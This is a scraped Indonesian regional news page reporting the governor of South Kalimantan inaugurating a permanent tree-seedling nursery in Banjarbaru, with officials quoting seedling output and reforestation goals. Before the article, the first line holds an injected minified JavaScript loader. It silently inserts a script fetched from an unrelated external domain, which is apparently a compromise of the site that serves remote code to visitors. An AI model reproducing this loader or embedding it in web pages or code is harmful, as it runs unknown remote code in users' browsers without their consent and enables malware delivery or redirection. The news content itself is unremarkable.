(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dukung Revolusi Hijau, Gubernur Resmikan Persemaian Permanen


BANJARBARU, Persemaian Permanen yang berada Di Banjarbaru merupakan salah satu bentuk fasilitasi pemerintah c.q Kementerian Lingkungan Hidup dan Kehutanan dalam membantu menyediakan bibit tanaman hutan bagi masyarakat umum, instansi pemerintah, lembaga pendidikan atau pihak lainnya yang ingin berpartisipasi dalam memperbaiki kualitas lingkungan di sekitar tempat tinggalnya.
Bibit-bibit yang disediakan nantinya akan ditanam, baik di areal fasilitas umum dan fasilitas sosial, sekolah, tempat peribadatan, dan lain sebagainya sehingga dapat mendukung Revolusi Hijau di Kalsel.
Hal tersebut disampaikan Gubernur Kalsel Sahbirin Noor saat meresmikan Persemaian Permanen, Kamis (12/12) yang di kelola oleh Badan Pengelola Daerah Aliran Sungai Hutan Lindung Barito, yang berada di Jalan Sungai Salak Batu Besi Landasan Ulin Timur Kota Banjarbaru.
“Dengan adanya persemaian permanen ini, disamping sebagai revolusi hijau, kita juga akan menghijaukan kembali hutan yang telah gundul , sehingga hutan kita kembali hijaudemi generasi kita yang akan datang,” ucap Sahbirin Noor.
Sementara itu, Kepala Badan Pengelola Daerah Aliran Sungai Hutan Lindung Barito , Zainal Arifin mengatakan saat ini pihaknya memiliki tiga lokasi persemaian yang berada di HSS, Kotabaru dan Banjarbaru. “Untuk persemaian di Banjarbaru ini jumlahnya sebanyak 1 juta batang pertahun sedangkan dari ketiga lokasi itu jumlah keseluruhanyanya 2,5 juta batang pertahun,” ucapnya.
Menurut dia, persemaian permanen ini ada 40 ribu setiap tahunnya di bagikan kepada masyarakat secara gratis dari bermacam bibit, ada jenis sengon, mahoni, bambu , jati dan lain-lain. Lebih lanjut, Zainal menyatakan bahwa seluruh bibit yang dihasilkan di persemaian permanen tersebut difokuskan untuk kegiatan penelitian dan juga untuk kebutuhan atau dikembalikan ke masyarakat.
Sedangkan Kepala Dinas Kehutan Kalsel Hanif Nurforkan Rofiq mengatakan pada tahun 2017 lahan kritis di kalsel mencapai 511 hektare. Namun saat ini yang sudah dihijaukan sudah seluas 50 hektar dan ini terus dipelihara. “Pada tahun kedua, akan kita targetkan sebanyak 32 ribu hektar, kami optimis akan tercapai sebab ditopang oleh persemaian permanen milik BPDASHL Barito. Selain itu kita juga memiliki persemaian di 13 Kabupaten/kota,” ucapnya.
Menurut dia, dengan banyaknya memiliki persemaian yang dibangun tentu untuk mendukung masyarakat dalam melestarikan sumber daya lahan dan penyediaan kayu masyarakat secara berkesinambungan. “Cara mendapatkan bibit cukup mengajukan permohonan atau mengisi formulir yang ditujukan kepada Kepala Balai Pengelolaan DAS dan Hutan Lindung Barito,” katanya. (dishut)

Editor: cell


Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

3 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

4 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

5 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

6 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

7 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

7 jam ago

This website uses cookies.